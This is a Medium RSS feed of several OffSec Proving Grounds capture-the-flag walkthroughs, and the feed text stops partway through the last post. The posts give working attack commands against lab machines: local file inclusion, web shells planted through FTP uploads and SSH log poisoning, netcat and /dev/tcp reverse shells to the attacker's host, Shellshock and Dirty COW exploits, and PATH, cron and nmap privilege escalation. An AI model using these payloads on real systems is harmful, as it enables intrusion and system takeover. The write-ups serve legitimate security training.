<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Antonio on Medium]]></title>
        <description><![CDATA[Stories by Antonio on Medium]]></description>
        <link>https://medium.com/@inotp?source=rss-30355f435690------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ltt-350HAERI-HeZ5ot8CQ.jpeg</url>
            <title>Stories by Antonio on Medium</title>
            <link>https://medium.com/@inotp?source=rss-30355f435690------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 00:38:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@inotp/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OffSec PG — Inclusiveness Walkthrough]]></title>
            <link>https://medium.com/@inotp/offsec-pg-inclusiveness-walkthrough-073e0e30cc45?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/073e0e30cc45</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Tue, 03 Nov 2026 12:36:30 GMT</pubDate>
            <atom:updated>2026-11-03T12:36:30.744Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*r3fF5Sm-uHaLIP9K" /></figure><p>Machine details</p><ul><li>Title: Inclusiveness</li><li>Author: Haoxi Tan</li><li>Difficulty: Easy</li><li>Community Rating: Intermediate</li><li>Flags: 2 (user and root)</li></ul><h3>Recon and Enumeration</h3><p>Let’s do a nmap scan to find the open ports</p><p>nmap scan herev</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*CeKNqqrl54-exX9k68kH4w.png" /></figure><p>The ftp port can be our starting point here, since it may be possible to log-in as anonymous. However, even if we can do log-in there is only a directory named ‘pub’, which we also have write permissions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*V8ryCgZ7dARY8R-T5ix2nA.png" /></figure><p>As we cannot do anything in the FTP port, we should visit the http port to gather more info</p><p>Doing a head request to find any headers, it seems to be a Apache machine, interesting</p><pre>curl -I &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*e54VA_nTMLQtQHkOnTRKXw.png" /></figure><p>The index page has only the default ‘it works message’, no hidden comments or anything suspicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lSwr_8RMP5w3k0BBt6v0eg.png" /></figure><p>Let’s use gobuster to find any files or directories hidden in the server. I will use common.txt wordlist provided by seclists</p><pre>gobuster dir -u http://192.168.160.14/ -w common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*FiJjTmklZaJnK3CEvusQ8w.png" /></figure><p>The robots.txt seems to be file only to be read by robots</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*Q8QYEIE1zd5CIkMjLhi6vA.png" /></figure><p>We can try to modify the User-Agent header to a search engine, like google bot</p><pre>curl http://&lt;MACHINE-IP&gt;/robots.txt -A &quot;GoogleBot&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Q9T-YTsmT9TPBrTTXYjmKw.png" /></figure><p>Visiting this secret webpage, it has a info about DNS Zone Transfer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1OBu9GE2gssRU6TJ2trvyA.png" /></figure><p>Notice the two links below the title header, it seems we can change the language. Let’s switch to spanish</p><pre>http://192.168.160.14/secret_information/?lang=es.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vjzr5gI0YXjK3x7e96---w.png" /></figure><p>What if we try to change the lang parameter to read a file? Like /etc/passwd?</p><pre>http://192.168.160.14/secret_information/?lang=/etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*5oKb52H01mE0nDUttHajsw.png" /></figure><p>We can confirm this is vulnerable to local file inclusion (LFI)! Also we can confirm a user named <strong>tom.</strong></p><p>Anyway, as we do have permissions to log-in anonymously in ftp and upload files in the pub directory, let’s upload a shell file there</p><p>You can use the same as I’m using, which I have named shell.php :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*o8WYZAjJVzfnDaCFYRr0uA.png" /></figure><p>You can see we can upload the file in the directory without problems</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*Uyh_LgyYz5bZcoCrCai9UA.png" /></figure><p>We can read the vsftpd config file at /etc/vsftpd.conf, and we can know where the anon files are being uploaded</p><pre>http://192.168.160.14/secret_information/?lang=/etc/vsftpd.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*dUorZG6yEpdpTrSfC8XvJw.png" /></figure><p>Finally, the fun stuff begins. Which is RCE!</p><pre>http://192.168.160.14/secret_information/?lang=/var/ftp/pub/shell.php&amp;cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CV4t5eX3ospmePRu57hu0w.png" /></figure><p>Let’s create a reverse shell to connect this machine to ours</p><p>First, setup a netcat listener</p><pre>nc -lvnp 1234</pre><p>In the cmd parameter, we will use this payload</p><pre>busybox nc &lt;YOUR-TUN0-IP&gt; 1234 -e /bin/bash</pre><p>In the URL Will look like this</p><pre>http://192.168.241.14/secret_information/?lang=/var/ftp/pub/shell.php&amp;cmd=busybox nc 192.168.45.210 1234 -e /bin/bash</pre><p>Checking the netcat, we can confirm the connection is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*2OL5CLYHI32OAaTEbfiVXg.png" /></figure><p>Now, let’s upgrade this shell. If you want to learn more about this please check 0xffsec’s handbook</p><p><a href="https://0xffsec.com/handbook/shells/full-tty/">Upgrade Simple Shells to Fully Interactive TTYs</a></p><pre>SHELL=/bin/bash script -q /dev/null</pre><p>Now, press Ctrl + Z to background the shell and use this command</p><pre>stty -echo raw;fg;reset xterm<br>export TERM=xterm</pre><p>In the /home/tom directory, we can find a user flag and a SUID named rootshell. Interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*Mo0KQ4lvk5PB5Dtsk-1Eew.png" /></figure><p>There is a rootshell.c file, so we can read the source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*4KQHmrJ5qjG-0j0fjLC_5Q.png" /></figure><p>Executing the program, we receive this message that we are www-data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*_MDnZpiLdfI5mFq8n-AORQ.png" /></figure><p>Notice the whoami is executed, but the program uses <strong>OUR PATH VARIABLE</strong>, in another words, <strong>we can create a script to say we are tom</strong>. If this succeeds, we can get the root access</p><p>As we do not have access to write in tom directory, let us create a whoami file in /tmp</p><pre>cd /tmp<br>nano whoami</pre><p>The whoami will have this content</p><pre>#!/bin/bash<br>echo -n &quot;tom&quot;</pre><p>After we create the file, we may need to setup execute permissions</p><pre>chmod +x whoami</pre><p>Now we will export the path, so the /tmp directory is executed first</p><pre>export PATH=/tmp:$PATH</pre><p>Now, let’s go back to tom’s home directory and execute the file again</p><pre>cd /home/tom<br>./rootshell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*5-QMRV-QI7T2Gb_sLKWM3A.png" /></figure><p>We did it! This attack is named PATH Hijack, and we got a success doing it.</p><p>To finish the machine, get the root flag :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*lF0ZPFM4_bdC98uxSF11wA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=073e0e30cc45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OffSec PG — Ha-natraj Walkthrough]]></title>
            <link>https://medium.com/@inotp/offsec-pg-ha-natraj-walkthrough-6359fd406ed1?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/6359fd406ed1</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Fri, 30 Oct 2026 21:43:01 GMT</pubDate>
            <atom:updated>2026-10-30T21:43:01.830Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*r3fF5Sm-uHaLIP9K" /></figure><p>Machine details</p><ul><li>Title: Ha-natraj</li><li>Author: Hacking Articles</li><li>Difficulty: Easy</li><li>Community Rating: Hard</li><li>Flags: 2 (user and root)</li></ul><h3>Recon and Enumeration</h3><p>Let’s start doing a simple scan with nmap</p><pre>nmap &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*vHkI87zxgtFsBVfvdbQl8A.png" /></figure><p>As nmap only revealed SSH port and http, the webport should be our priority, as there is a possibility to gather interesting info (I did another scan and only found two ports, this port 720 might be a false positive)</p><p>The index shows an amazing website with a gallery talking about Natraj (I liked this design)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lLeqbQ06O_cfkHS-r3WmjQ.png" /></figure><p>Also, if we scroll a little bit we can read his history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epaM3SyzUF3QXs91jEAezg.png" /></figure><p>I will make a dictonary with this index page just in case, with cewl</p><pre>cewl http://192.168.160.80/ -w natraj</pre><p>As this is a static webpage, lets try to find any directory that might be hidden on this server, I recommend using the seclists wordlist</p><pre>gobuster dir -u http://192.168.160.80/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*_Sa3cX6oGvJbi_fRyI581Q.png" /></figure><p>The console directory seems interesting, let’s visit it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*XpoZFFZqras0LCAw0xb7uQ.png" /></figure><p>It has just a file.php, clicking on the file seems to be a blank page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*w_zMJTzIplaNCY6VlmN8aA.png" /></figure><p>As the name says file.php, maybe there is a parameter named ‘file’ to read files? Let’s try this</p><pre>http://192.168.160.80/console/file.php?file=/etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*Swzxb2bk7CEsplB3vv3ytA.png" /></figure><p>This is great news! we can use this to read other files on the machine, and also we can find two users at the home directory: <strong>natraj and mahakal</strong></p><p>Additionally, we can read the SSH logs, which is located on /var/log directory</p><pre>http://192.168.160.80/console/file.php?file=/var/log/auth.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y1R01ttoXqKlwYQWPwJxXw.png" /></figure><p>I did a little test to see if we can read the latest logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*ZIAVnM3lkmy67aAudT4jdg.png" /></figure><p>To my surprise, it works pretty well!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1RuxxMHnWVW9WrCY0i4iA.png" /></figure><p>This confirms the machine is vulnerable to log poisoning, we will create a user with a php code</p><p>However, as ssh does not allow writing like PHP code as a user, we may need to use another way to ‘log-in’, we will use a python script. Make sure you install the module paramiko, i will name this script as ssh.py</p><pre>import paramiko<br><br>client = paramiko.SSHClient()<br>client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<br>client.connect(&#39;&lt;THE-VICTIM-IP-GOES-HERE&gt;&#39;, username=&#39;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#39;, password=&#39;bar&#39;) <br><br></pre><p>Now we will execute the python script</p><pre>python3 ssh.py</pre><p>It will trigger an error because we got a wrong password, but that’s not a problem, if we check out the logs and put a cmd parameter for example ‘whoami’, we can acheive RCE</p><pre>http://192.168.160.80/console/file.php?file=/var/log/auth.log&amp;cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZC-PhOmyt6P6YAdT1wTFQ.png" /></figure><p>We can see the response (www-data) is from the server, let’s create a reverse shell so we can input commands to this machine!</p><p>First, setup a netcat listener</p><pre>nc -lvnp 1234</pre><p>The cmd parameter we will connect to our machine, this is the cmd command</p><pre>busybox nc &lt;YOUR-IP-HERE&gt; -e /bin/bash</pre><pre>http://192.168.160.80/console/file.php?file=/var/log/auth.log&amp;cmd=busybox nc &lt;YOUR-IP-HERE&gt; -e /bin/bash</pre><p>You can see we perfectly receive the connection and also the commands works as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*OBeRYpu0pnemj-UUtJw-IA.png" /></figure><p>Finally, let’s upgrade this shell to a interactive one, following these commands</p><pre>BASH=/bin/bash script -q /dev/null<br>$ bash<br>export TERM=xterm</pre><p>Now, we can background this session using Ctrl + Z and execute this command. execute one command by one</p><pre>stty -echo raw;fg;reset xterm<br>clear</pre><p>You have gotten a completely interactive shell, we can now do some fun stuff! :D</p><p>In the /var/www directory, we can get the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*OYueKWrUW0g-lWR7CrryGQ.png" /></figure><p>Privilege escalation</p><p>I checked sudo -l to see if we can execute any command as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*BVPt0EcXtW1J4pm7l89JeQ.png" /></figure><p>Looking for interesting files, the apache2.conf is writable for us. We will edit the file so we can set the user and group to mahakal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*WG2mYlOAXqJZItes75njUQ.png" /></figure><p>Save the changes, and before you use systemctl to restart apache2 as root, make sure there is a web shell on the /var/www/html folder</p><p>My personal choice: use the phpmonkey rev shell</p><p><a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a></p><p>You just have to change those two lines</p><pre>$ip = &#39;127.0.0.1&#39;;  // CHANGE THIS<br>$port = 1234;       // CHANGE THIS</pre><p>After we do the command as root, and make a new reverse shell we can notice the change to the user mahakal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*zoAb0gVa2axKmi2wgf3I2Q.png" /></figure><p>Also, we can use nmap as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*jsUePHEW4Y00-TOwV51J5w.png" /></figure><p>Searching on GTFOBins, we can read files with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekDZhqFWcYA6eyRx8Pm9Sw.png" /></figure><p>I will read the root flag with nmap</p><pre>sudo nmap -iL /root/proof.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*9CfHsAJzI6B-KTsl-eEHmw.png" /></figure><p>But we can get even a root shell using a script, on this blog post shows some payloads</p><p>thanks for <strong>refabr1k</strong> for sharing his knowledge! Please check his webpage :D</p><p><a href="https://refabr1k.gitbook.io/oscp/privesc-linux/suid">SUID | refabr1k&#39;s Pentest Notebook</a></p><pre>echo &quot;os.execute(&#39;/bin/sh&#39;)&quot; &gt; /tmp/shell.nse &amp;&amp; sudo nmap --script=/tmp/shell.nse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*LWy1BAIFRetVzZVdTEu6Pg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6359fd406ed1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OffSec PG —CVE-2026–109618 / CVE-2026–109619 Walkthrough]]></title>
            <link>https://medium.com/@inotp/offsec-pg-cve-2026-109618-cve-2026-109619-walkthrough-b33e8aab5158?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/b33e8aab5158</guid>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[php2shell]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 18:18:10 GMT</pubDate>
            <atom:updated>2026-10-27T18:20:00.778Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*r3fF5Sm-uHaLIP9K" /></figure><p>Machine details</p><ul><li>Title: CVE-2026–109618 / CVE-2026–109619</li><li>Author: OffSec</li><li>Difficulty: Easy</li><li>Flags: 1 (user and root)</li><li>Techniques: CVE, PHP</li><li>Operating System: Linux</li></ul><p>For this exploit, you can read more on offsec’s blog. Please, take a time to read, this is gold info</p><p><a href="https://www.offsec.com/blog/php2shell-critical-vulnerabilities-in-php-core/">PHP2Shell - Critical Vulnerabilities in PHP Core (CVE-2026-109618/CVE-2026-109619)</a></p><h3>Recon and Enumeration</h3><p>Let’s start using nmap to make a basic scan</p><pre>nmap &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*bmf6E7G8FGGFINK4UVTmGA.png" /></figure><p>It seems this machine has only a webport on 80 open, let’s check it</p><pre>curl -v http://192.168.156.10/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*PscCVpmuxpMGM7nVG2B2RQ.png" /></figure><p>Doing a curl request, we only a response with a OK message, also we can see the apache version and the PHP version (8.5.11). Doing a little research, this version is vulnerable to <strong>CVE-2026–109618</strong> aka <strong>PHP2Shell</strong></p><p>In the exploit-DB website, we can find a exploit available for this machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xnYKPjPIfpv0z079ALIpg.png" /></figure><p>The first lines of the code shows how we can use this to our advantage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*ih1Z92tGije-5DD4mEurbA.png" /></figure><p>We will download this code and rename to poc.py</p><p>Let’s try to read /etc/passwd file with this exploit</p><pre>python3 poc.py --host 192.168.156.10 --rce &#39;ls /&gt;/var/www/html/proof.txt&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*ij_Zhr_ZaQPwpnzpxfQ_tQ.png" /></figure><p>Let’s go to proof.txt if this file was created</p><pre>http://192.168.156.10/proof.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/115/1*HQDzXHRm2sacINw9wOUr3Q.png" /></figure><p>Great!, Maybe we can see which users is available at home directory?</p><pre>python3 poc.py --host 192.168.156.10 --rce &#39;cat /etc/passwd &gt;/var/www/html/proof.txt&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*q9xQh_OuOuyyj6dyVqcRRA.png" /></figure><p>If we can do these kind of commands, maybe a reverse shell can happen?</p><p>Let’s setup a netcat listenet in our machine</p><pre>nc -lvnp 1234</pre><p>We will use this command on the poc.py exploit</p><pre>python3 poc.py --host 192.168.156.10 --rce &#39;busybox nc 192.168.45.210 1234 -e /bin/bash&#39;</pre><p>You can see it works pretty well!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*wXTrRQaM2jmAxaLFUwSNYQ.png" /></figure><p>We can now upgrade this shell to a interactive one using these commands</p><pre>BASH=/bin/bash script -q /dev/null<br>export TERM=xterm</pre><p>After this, let’s use Ctrl + Z and do these commands</p><pre>stty -echo raw;fg;reset xterm</pre><p>now we can use clear and even the arrow buttons!</p><p>The only flag can be found at /var/www/ directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*WoKUlwFggJSZs1IUvmHc9g.png" /></figure><p>I hope you did enjoy this flag, this machine show us how dangerous is this exploit. If you use a PHP with versions vulnerable to this exploit, please update ASAP :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b33e8aab5158" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OffSec PG — Sumo Walkthrough]]></title>
            <link>https://medium.com/@inotp/offsec-pg-sumo-walkthrough-5ad0611307a4?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ad0611307a4</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 16:40:14 GMT</pubDate>
            <atom:updated>2026-10-27T16:40:14.575Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*qVHfIcuvZ58lK-XN" /></figure><p>Machine details</p><ul><li>Title: Sumo</li><li>Author: SunCSR Team</li><li>Difficulty: Easy</li><li>Community Rating: Intermediate</li><li>Flags: 2 (user and root)</li><li>Techniques: Enumeration, CVE</li><li>Operating System: Linux</li></ul><h3>Recon and Enum</h3><p>Before using nmap, I started using rustscan just to find the open ports</p><pre>rustscan -a 192.168.128.87</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/265/1*Jaxm9TZFNsx-tT123rQQuA.png" /></figure><p>Now that we got the open ports, let’s use nmap to find ports and services</p><pre>nmap -p22,80 -sV -sC -Pn &lt;MACHINE IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*kmkLuvxQdiKoOuc9gH9-Hw.png" /></figure><p>The index page in the web port looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*q1z-uUv27y0I2id3iiGOFg.png" /></figure><p>So I did use gobuster to fuzz, but nothing like directory or file was found. Maybe <strong>nikto</strong> can find something</p><p>I will add this IP address to sumo.offsec, and then we will use nikto</p><pre>echo &#39;192.168.128.87 sumo.offsec&#39; | sudo tee -a /etc/hosts</pre><p>Using nikto we can get more info about the web server</p><pre>nikto -h http://sumo.offsec/ -C all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*yADgVGOp0ECdRxXV_6DVEg.png" /></figure><p>Nikto found a vulnerability named <strong>CVE 2014–6271: ‘Shellshock’, </strong>which is a Remote Command Injection, we can find the module on metasploit</p><pre>$ msfconsole -q<br>use exploit/multi/http/apache_mod_cgi_bash_env_exec<br>set LHOST  &lt;YOUR tun0 IP&gt;<br>set RHOST sumo.offsec<br>msf exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set targeturi /cgi-bin/test<br>targeturi =&gt; /cgi-bin/test<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*dS9C7A2o7W4Q8JsWh3tKLQ.png" /></figure><p>Now that we got a session. use shell to open a command prompt in the vulnerable machine, you can see that in the current directory we can get the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*odjdA4seN6xaVr8syxKopg.png" /></figure><p>Machine info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*sdxlKfZpCUK94QSsWjiMcQ.png" /></figure><p>I will connect this to my machine using netcat, my goal is to acheive a full interactive prompt (since this machine has no leaked credentials for ssh)</p><pre>busybox nc 192.168.45.161 7777 -e /bin/bash</pre><p>After I connected using nc, I will upgrade using those commands one by one</p><pre>python -c &quot;import pty;pty.spawn(&#39;/bin/bash&#39;)&quot;<br>export TERM=xterm</pre><p>Then I used Ctrl + Z and did this command</p><pre>stty -echo raw; fg; reset xterm</pre><p>Now I have a fully interactive shell! :D</p><p>Searching for kernel vulnerabilities, I found out this machine is vulnerable to a exploit named dirty cow<strong>(CVE-</strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2016-5195"><strong>2016–5195</strong></a><strong>)</strong>. the code is on exploit-db</p><p><a href="https://www.exploit-db.com/exploits/40839">OffSec&#39;s Exploit Database Archive</a></p><p>After you send to machine you can compile and run it, as you can see in my machine I got root privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*AYDNE7mpWewLzdYVF37dfw.png" /></figure><p>Finally, you can get the root flag! :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*VYHxl5lNy2XnNyeMUXhiuQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ad0611307a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OffSec PG — Sar Walkthrough]]></title>
            <link>https://medium.com/@inotp/offsec-pg-sar-walkthrough-93a268e77d24?source=rss-30355f435690------2</link>
            <guid isPermaLink="false">https://medium.com/p/93a268e77d24</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Antonio]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 22:39:23 GMT</pubDate>
            <atom:updated>2026-10-15T22:39:23.668Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*t01QvCZn4pxg8Vt-" /></figure><p>Machine details</p><ul><li>Title: Sar</li><li>Author: Love Manoj Kumar Sharma</li><li>Difficulty: Easy</li><li>Community Rating: Easy</li><li>Flags: 2 (user and root)</li><li>Techniques: Enumeration, CVE, Cron Job</li><li>Operating System: Linux</li></ul><h3>Recon and Enumeration</h3><p>Before using nmap, I wanted to show you guys a faster scanning tool named rustscan. The link to rustscan repository is below</p><p><a href="https://github.com/bee-san/RustScan.git">GitHub - bee-san/RustScan: 🤖 The Modern Port Scanner 🤖</a></p><p>To find ports with rustscan we can use this command</p><pre>rustscan -a &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*3UX9lliQJ4kehg0QwR_xlA.png" /></figure><p>It seems rustscan found ssh and web port! let’s use nmap scripts to get the version for us</p><pre>nmap -p22,80 -sVC -Pn &lt;MACHINE-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*SuVUfsipzkMBnHWEuWUTkQ.png" /></figure><p>Checking the webport (80), the index page has a it works message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHV_Vr7x70HwFoQRZ7vXJA.png" /></figure><p>As this page has no hidden messages or html comments, I tried to get the robots.txt file. Surprisingly, it exists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*Q-Ed4Fh2n5O8ZtFIL6Cf7A.png" /></figure><p>the directory sar2HTML exists, the page has interesting info (like app version)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQq9IHqbVKTk7wDv5YzR7w.png" /></figure><p>We have the application name and its version, a little search on exploit-DB won’t hurt. We will find an exploit for this version about RCE. Interesting</p><p><a href="https://www.exploit-db.com/exploits/47204">https://www.exploit-db.com/exploits/47204</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkzJa8jJKFuOftKTXsS1wg.png" /></figure><p>Let’s put the plot parameter in the index and see if does changes</p><pre>http://192.168.242.35/sar2HTML/index.php?plot=;ls%20-la</pre><p>I used Burp Suite proxy to show you guys this is working, we may need to click on ‘Select host’ button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5fG9PThm0V-POmvNpEoiQ.png" /></figure><p>We will use this parameter to do a reverse shell, but first let’s create a netcat listener</p><pre>nc -lvnp 4444</pre><p>Now, we will use this payload in the plot parameter, make sure you change the tun0 ip to yours!</p><pre>bash -c &quot;bash -i &gt;&amp; /dev/tcp/&lt;YOUR-TUN0-IP&gt;/4444 0&gt;&amp;1 2&gt;&amp;1&quot;</pre><p>Before you use this on the parameter, use a URL encoder. This website helps a lot</p><p><a href="https://meyerweb.com/eric/tools/dencoder/">URL Decoder/Encoder</a></p><p>After seconds we use it, you can see the payload worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Kgjv_2NPOX3f1ByUnn7aEQ.png" /></figure><p>But this shell is not fully interactive, let’s upgrade :D</p><pre>BASH=/bin/bash script -q /dev/null</pre><p>After this, you can background the shell using Ctrl + Z and executing this line</p><pre>stty -echo raw;fg;reset xterm<br>export TERM=xterm</pre><p>Now we can use everything, even the arrow keys</p><p>The /home directory also has the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*Ajrou-2Y-ZvuXniJYiFlLQ.png" /></figure><p>I did spent some time looking for something interesting, and the only one I found was that there is a cronjob running</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*nL-7LQyM6_ZxMnUARw33QQ.png" /></figure><p>every 5 minutes the root executes finally.sh, searching for this file in the html directory we can read. This script runs another one, which is write.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*CDr6U8c6d1Hs65rHej9OGw.png" /></figure><p>We cannot modify finally.sh, but <strong>WE CAN DELETE THE FILE</strong> because this <strong>directory</strong> belongs to us (<strong>www-data</strong>)!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*hq2XulpRoxaDdTSBYL_5_w.png" /></figure><p>We will create a finally.sh with these content, let’s setup another netcat listenet in our machine</p><pre>nc -lvnp 1234</pre><p>Great, let’s use this port so the script runs netcat in the 1234 port</p><pre>#!/usr/bin/env bash<br>/bin/busybox nc &lt;OUR-TUN0-IP&gt; 1234 -e /bin/bash</pre><p>After that, let’s setup execute permissions with chmod</p><pre>chmod +x finally.sh</pre><p>And wait 5 minutes, and then we will see this message</p><figure><img alt="" 